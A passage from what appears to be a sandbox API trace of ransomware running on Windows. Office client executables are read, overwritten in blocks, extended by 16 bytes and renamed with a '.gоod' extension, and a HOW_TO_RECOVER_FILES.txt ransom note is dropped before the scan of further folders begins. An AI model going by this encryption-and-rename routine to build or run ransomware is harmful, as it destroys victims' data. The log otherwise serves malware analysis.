hFile=0x6e0, lpBuffer=0x39da678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x39da678*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0126.272] CloseHandle (hObject=0x6e0) returned 1 [0126.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0126.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0126.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.272] GetFileType (hFile=0x6e0) returned 0x1 [0126.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0126.272] GetFileType (hFile=0x6e0) returned 0x1 [0126.272] WriteFile (in: hFile=0x6e0, lpBuffer=0x39d93c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x39d93c0*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0126.272] CloseHandle (hObject=0x6e0) returned 1 [0126.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0126.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.gоod", lpFilePart=0x0) returned 0x49 [0126.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0126.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x47790e02, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x34ae8)) returned 1 [0127.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0127.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.gоod")) returned 1 [0127.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0127.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0127.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), fInfoLevelId=0x0, lpFileInformation=0x35138a0 | out: lpFileInformation=0x35138a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8)) returned 1 [0127.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0129.173] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0129.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.209] GetFileType (hFile=0x630) returned 0x1 [0129.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.209] GetFileType (hFile=0x630) returned 0x1 [0129.209] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0129.209] ReadFile (in: hFile=0x630, lpBuffer=0x3674fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x3674fb0*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0129.211] CloseHandle (hObject=0x630) returned 1 [0129.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0129.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.211] GetFileType (hFile=0x630) returned 0x1 [0129.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.211] GetFileType (hFile=0x630) returned 0x1 [0129.211] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x3e4d8 [0129.211] WriteFile (in: hFile=0x630, lpBuffer=0x3676258*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x3676258*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0129.212] CloseHandle (hObject=0x630) returned 1 [0129.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0129.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.212] GetFileType (hFile=0x630) returned 0x1 [0129.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.212] GetFileType (hFile=0x630) returned 0x1 [0129.212] ReadFile (in: hFile=0x630, lpBuffer=0x3678528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x3678528*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0129.383] CloseHandle (hObject=0x630) returned 1 [0129.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0129.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.383] GetFileType (hFile=0x630) returned 0x1 [0129.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.383] GetFileType (hFile=0x630) returned 0x1 [0129.383] WriteFile (in: hFile=0x630, lpBuffer=0x34a3ce8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x34a3ce8*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0129.384] CloseHandle (hObject=0x630) returned 1 [0129.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x0) returned 0x44 [0129.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.gоod", lpFilePart=0x0) returned 0x49 [0129.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0129.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x49560a02, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e4e8)) returned 1 [0129.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0129.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.gоod")) returned 1 [0129.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0129.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0129.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), fInfoLevelId=0x0, lpFileInformation=0x350c9b0 | out: lpFileInformation=0x350c9b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630)) returned 1 [0129.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0129.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0129.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.385] GetFileType (hFile=0x630) returned 0x1 [0129.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.386] GetFileType (hFile=0x630) returned 0x1 [0129.386] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0129.386] ReadFile (in: hFile=0x630, lpBuffer=0x350cd88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x350cd88*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0129.387] CloseHandle (hObject=0x630) returned 1 [0129.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0129.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.387] GetFileType (hFile=0x630) returned 0x1 [0129.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.387] GetFileType (hFile=0x630) returned 0x1 [0129.387] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x69630 [0129.387] WriteFile (in: hFile=0x630, lpBuffer=0x350e000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x350e000*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0129.389] CloseHandle (hObject=0x630) returned 1 [0129.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0129.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0129.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.389] GetFileType (hFile=0x630) returned 0x1 [0129.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0129.389] GetFileType (hFile=0x630) returned 0x1 [0129.389] ReadFile (in: hFile=0x630, lpBuffer=0x35102a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x35102a0*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0130.045] CloseHandle (hObject=0x630) returned 1 [0130.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0130.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0130.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0130.045] GetFileType (hFile=0x630) returned 0x1 [0130.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0130.045] GetFileType (hFile=0x630) returned 0x1 [0130.045] WriteFile (in: hFile=0x630, lpBuffer=0x34a2b68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x34a2b68*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0130.045] CloseHandle (hObject=0x630) returned 1 [0130.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x0) returned 0x38 [0130.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.gоod", lpFilePart=0x0) returned 0x3d [0130.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0130.045] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x49ba2d5c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69640)) returned 1 [0130.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0130.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.gоod")) returned 1 [0130.047] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0130.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed480) returned 1 [0130.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\client\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.199] GetFileType (hFile=0x630) returned 0x1 [0130.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed3f0) returned 1 [0130.202] GetFileType (hFile=0x630) returned 0x1 [0130.212] WriteFile (in: hFile=0x630, lpBuffer=0x35b14e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ed548, lpOverlapped=0x0 | out: lpBuffer=0x35b14e8*, lpNumberOfBytesWritten=0x200ed548*=0x5d0, lpOverlapped=0x0) returned 1 [0130.213] CloseHandle (hObject=0x630) returned 1 [0130.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0130.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16", lpFilePart=0x0) returned 0x39 [0130.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.213] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.213] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3495ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integral.thmx", cAlternateFileName="INTEGR~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1855eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ion Boardroom.thmx", cAlternateFileName="IONBOA~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111ae2aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c09db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ion.thmx", cAlternateFileName="ION~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111fa76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Theme.thmx", cAlternateFileName="OFFICE~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d621, dwReserved0=0x0, dwReserved1=0x0, cFileName="Organic.thmx", cAlternateFileName="ORGANI~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Retrospect.thmx", cAlternateFileName="RETROS~1.THM")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, 